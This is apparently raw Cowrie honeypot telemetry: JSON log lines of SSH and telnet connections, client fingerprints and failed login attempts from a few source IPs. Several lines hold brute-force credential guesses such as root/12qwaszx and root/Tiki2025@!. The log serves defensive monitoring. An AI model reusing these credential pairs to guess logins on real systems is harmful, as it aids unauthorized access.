{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:08.292080Z","src_ip":"45.156.87.204","session":"da2ad1fcbc93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:09.376940Z","src_ip":"45.156.87.204","session":"da2ad1fcbc93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38188,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a72b276f70e","protocol":"ssh","message":"New connection: 103.176.20.57:38188 (10.17.0.5:22) [session: 5a72b276f70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:10.904404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:10.909322Z","src_ip":"103.176.20.57","session":"5a72b276f70e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:11.165398Z","src_ip":"103.176.20.57","session":"5a72b276f70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47572,"dst_ip":"159.203.135.109","dst_port":22,"session":"1069ec03d67a","protocol":"ssh","message":"New connection: 45.156.87.204:47572 (159.203.135.109:22) [session: 1069ec03d67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:11.499054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:11.506768Z","src_ip":"45.156.87.204","session":"1069ec03d67a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:11.583958Z","src_ip":"45.156.87.204","session":"1069ec03d67a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:11.901481Z","src_ip":"45.156.87.204","session":"1069ec03d67a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890p","message":"login attempt [root/1234567890p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:11.946186Z","src_ip":"103.176.20.57","session":"5a72b276f70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:12.991213Z","src_ip":"45.156.87.204","session":"1069ec03d67a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:13.199538Z","src_ip":"103.176.20.57","session":"5a72b276f70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43698,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd724f196381","protocol":"ssh","message":"New connection: 45.156.87.204:43698 (159.203.135.109:22) [session: cd724f196381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:15.035264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:15.041117Z","src_ip":"45.156.87.204","session":"cd724f196381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:15.124620Z","src_ip":"45.156.87.204","session":"cd724f196381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:15.372989Z","src_ip":"45.156.87.204","session":"cd724f196381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35204,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e0a89037bb5","protocol":"telnet","message":"New connection: 152.42.224.71:35204 (10.17.0.5:23) [session: 1e0a89037bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:16.052613Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:16.458605Z","src_ip":"45.156.87.204","session":"cd724f196381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.34371423721313,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:18.297575Z","src_ip":"152.42.224.71","session":"ea7b6063e6de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43700,"dst_ip":"159.203.135.109","dst_port":22,"session":"011f28bfa5e8","protocol":"ssh","message":"New connection: 45.156.87.204:43700 (159.203.135.109:22) [session: 011f28bfa5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:18.629468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:18.634114Z","src_ip":"45.156.87.204","session":"011f28bfa5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:18.717013Z","src_ip":"45.156.87.204","session":"011f28bfa5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:18.967543Z","src_ip":"45.156.87.204","session":"011f28bfa5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":35969,"dst_ip":"159.203.135.109","dst_port":22,"session":"470d2f035a4f","protocol":"ssh","message":"New connection: 79.127.181.44:35969 (159.203.135.109:22) [session: 470d2f035a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:19.623379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:19.831799Z","src_ip":"79.127.181.44","session":"470d2f035a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:20.035274Z","src_ip":"79.127.181.44","session":"470d2f035a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:20.043345Z","src_ip":"79.127.181.44","session":"470d2f035a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:20.052088Z","src_ip":"45.156.87.204","session":"011f28bfa5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.22321915626526,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:20.329605Z","src_ip":"152.42.224.71","session":"42600c82c5d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.68178391456604,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:21.300961Z","src_ip":"152.42.224.71","session":"7f144cdb332f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca27752c16d5","protocol":"ssh","message":"New connection: 45.156.87.204:43710 (159.203.135.109:22) [session: ca27752c16d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:22.397702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:22.407955Z","src_ip":"45.156.87.204","session":"ca27752c16d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:22.481440Z","src_ip":"45.156.87.204","session":"ca27752c16d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:22.799359Z","src_ip":"45.156.87.204","session":"ca27752c16d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35232,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc66cd1f273","protocol":"telnet","message":"New connection: 152.42.224.71:35232 (10.17.0.5:23) [session: acc66cd1f273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:23.370139Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:23.883119Z","src_ip":"45.156.87.204","session":"ca27752c16d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.733802318573,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:24.867177Z","src_ip":"152.42.224.71","session":"3d543057eb26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36364,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ec9add6625","protocol":"ssh","message":"New connection: 45.156.87.204:36364 (159.203.135.109:22) [session: a3ec9add6625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:25.899395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:25.903479Z","src_ip":"45.156.87.204","session":"a3ec9add6625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:25.990566Z","src_ip":"45.156.87.204","session":"a3ec9add6625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:26.239639Z","src_ip":"45.156.87.204","session":"a3ec9add6625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:27.368205Z","src_ip":"45.156.87.204","session":"a3ec9add6625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.89861178398132,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:28.003913Z","src_ip":"152.42.224.71","session":"8b3b032df4f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00145816802979,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:28.077318Z","src_ip":"152.42.224.71","session":"2cb629521932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf6dccbe66d","protocol":"telnet","message":"New connection: 152.42.224.71:59044 (10.17.0.5:23) [session: baf6dccbe66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:28.973723Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36380,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cd33431b84e","protocol":"ssh","message":"New connection: 45.156.87.204:36380 (159.203.135.109:22) [session: 6cd33431b84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:29.264694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:29.269201Z","src_ip":"45.156.87.204","session":"6cd33431b84e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:29.353416Z","src_ip":"45.156.87.204","session":"6cd33431b84e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59052,"dst_ip":"10.17.0.5","dst_port":23,"session":"92243c02ab69","protocol":"telnet","message":"New connection: 152.42.224.71:59052 (10.17.0.5:23) [session: 92243c02ab69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:29.452663Z"}
